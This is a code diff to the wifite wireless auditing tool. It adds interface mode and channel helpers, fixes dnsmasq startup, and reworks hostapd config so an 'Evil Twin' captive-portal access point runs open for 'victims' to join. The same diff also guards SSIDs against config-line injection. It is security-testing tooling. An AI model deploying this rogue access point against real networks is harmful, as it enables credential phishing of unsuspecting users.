f'Setting {interface} to {mode_name} mode') + Ip.down(interface) + Iw.mode(interface, mode_name) + Ip.up(interface) + return True + + @staticmethod + def get_interface_mode(interface): + """Return the current 802.11 mode of an interface, or None. + + Parses `iw dev info` (e.g. 'type managed' / 'type monitor'). + """ + out, _err = Process.call(f'iw dev {interface} info') + if match := re.search(r'^\s*type\s+(\w+)', out or '', re.MULTILINE): + return match.group(1) + return None + + @staticmethod + def set_interface_channel(interface, channel): + """Tune an interface to a channel via `iw dev set channel`.""" + log_debug('Airmon', f'Setting {interface} to channel {channel}') + Process.call(f'iw dev {interface} set channel {int(channel)}') + return True + + @staticmethod + def get_interface_channel(interface): + """Return the current channel of an interface as int, or None. + + Parses `iw dev info` (e.g. 'channel 6 (2437 MHz)'). + """ + out, _err = Process.call(f'iw dev {interface} info') + if match := re.search(r'^\s*channel\s+(\d+)', out or '', re.MULTILINE): + return int(match.group(1)) + return None + @staticmethod def start_network_manager(): Color.p('{!} {O}start {R}NetworkManager{O}...') diff --git a/wifite/tools/dnsmasq.py b/wifite/tools/dnsmasq.py index cbfe15145..029b46303 100755 --- a/wifite/tools/dnsmasq.py +++ b/wifite/tools/dnsmasq.py @@ -67,7 +67,11 @@ def generate_config(self) -> str: # Interface to listen on config.append(f'interface={self.interface}') - + # Never bind loopback. Without this dnsmasq still binds 127.0.0.1:53 by + # default, which collides with a host resolver (systemd-resolved / + # another dnsmasq) and makes startup fail with "Address already in use". + config.append('except-interface=lo') + # Don't read /etc/resolv.conf or /etc/hosts config.append('no-resolv') config.append('no-hosts') @@ -197,12 +201,14 @@ def start(self) -> bool: # Check if process is running if self.process.poll() is not None: - # Process died — clean up temp files - output = self.process.stdout() - log_error('Dnsmasq', f'Failed to start: {output}') + # Process died — dnsmasq reports startup errors on STDERR + # (e.g. "failed to create listening socket ... Address already + # in use"), so surface both streams to make failures diagnosable. + out, err = self.process.get_output() + detail = (err or '').strip() or (out or '').strip() or '(no output)' + log_error('Dnsmasq', f'Failed to start: {detail}') Color.pl('{!} {R}Dnsmasq failed to start{W}') - if Configuration.verbose > 0: - Color.pl('{!} {O}Output:{W}\n%s' % output) + Color.pl('{!} {O}%s{W}' % detail) self._remove_temp_files() return False diff --git a/wifite/tools/hostapd.py b/wifite/tools/hostapd.py index 6bced3f6e..077844bc1 100755 --- a/wifite/tools/hostapd.py +++ b/wifite/tools/hostapd.py @@ -42,7 +42,10 @@ def __init__(self, interface, ssid, channel, password=None): self.interface = interface self.ssid = ssid self.channel = channel - self.password = password or "temporarypassword123" + # None/empty password => OPEN network. The Evil Twin captive portal + # requires an open AP so victims can associate without a PSK; only + # create a WPA2-PSK AP when a real passphrase is supplied. + self.password = password or None self.config_file = None self.process = None @@ -122,8 +125,12 @@ def generate_config(self) -> str: # Basic settings config.append(f'interface={self.interface}') config.append('driver=nl80211') - config.append(f'ssid={self.ssid}') - config.append(f'channel={self.channel}') + # SSID comes from the air (target beacon) and is attacker-influenceable. + # 802.11 SSIDs are arbitrary bytes; a raw `ssid=` line with an + # embedded newline would inject attacker-controlled hostapd directives + # (which run as root). _format_ssid_directive() prevents that. + config.append(self._format_ssid_directive()) + config.append(f'channel={int(self.channel)}') # Hardware mode (g = 2.4GHz) config.append('hw_mode=g') @@ -132,14 +139,17 @@ def generate_config(self) -> str: config.append('ieee80211n=1') config.append('wmm_enabled=1') - # Authentication + # Authentication (Open System) config.append('auth_algs=1') - # WPA2 settings - config.append('wpa=2') - config.append('wpa_key_mgmt=WPA-PSK') - config.append('rsn_pairwise=CCMP') - config.append(f'wpa_passphrase={self.password}') + if self.password: + # WPA2-PSK protected AP (only when an explicit passphrase is given) + config.append('wpa=2') + config.append('wpa_key_mgmt=WPA-PSK') + config.append('rsn_pairwise=CCMP') + config.append(f'wpa_passphrase={self.password}') + # else: OPEN network — emit no wpa/passphrase lines so clients can + # associate freely and reach the captive portal. # Logging config.append('logger_syslog=-1') @@ -153,6 +163,28 @@ def generate_config(self) -> str: return '\n'.join(config) + '\n' + def _format_ssid_directive(self) -> str: + """Build a safe hostapd SSID directive for an untrusted SSID. + + 802.11 SSIDs are arbitrary 0-32 byte values, so a raw ``ssid=`` + line can break (or be injected into) the line-based hostapd config — + e.g. an SSID containing a newline could append attacker-controlled + directives that run as root. + + Strategy: + * Plain printable-ASCII SSIDs use the readable ``ssid=`` form. + * Anything containing control characters (newline/CR/etc.) or + non-ASCII bytes is emitted as ``ssid2=``, which hostapd parses + as raw bytes regardless of content — injection-proof. + The value is also clamped to the 32-byte 802.11 limit. + """ + ssid_bytes = (self.ssid or '').encode('utf-8', errors='surrogateescape')[:32] + # Printable ASCII only (0x20-0x7e) is safe in a raw ssid= line; this + # excludes newline (0x0a) and carriage return (0x0d) by construction. + if ssid_bytes and all(0x20 <= b <= 0x7e for b in ssid_bytes): + return 'ssid=' + ssid_bytes.decode('ascii') + return 'ssid2=' + ssid_bytes.hex() + def create_config_file(self) -> str: """ Create temporary hostapd configuration file.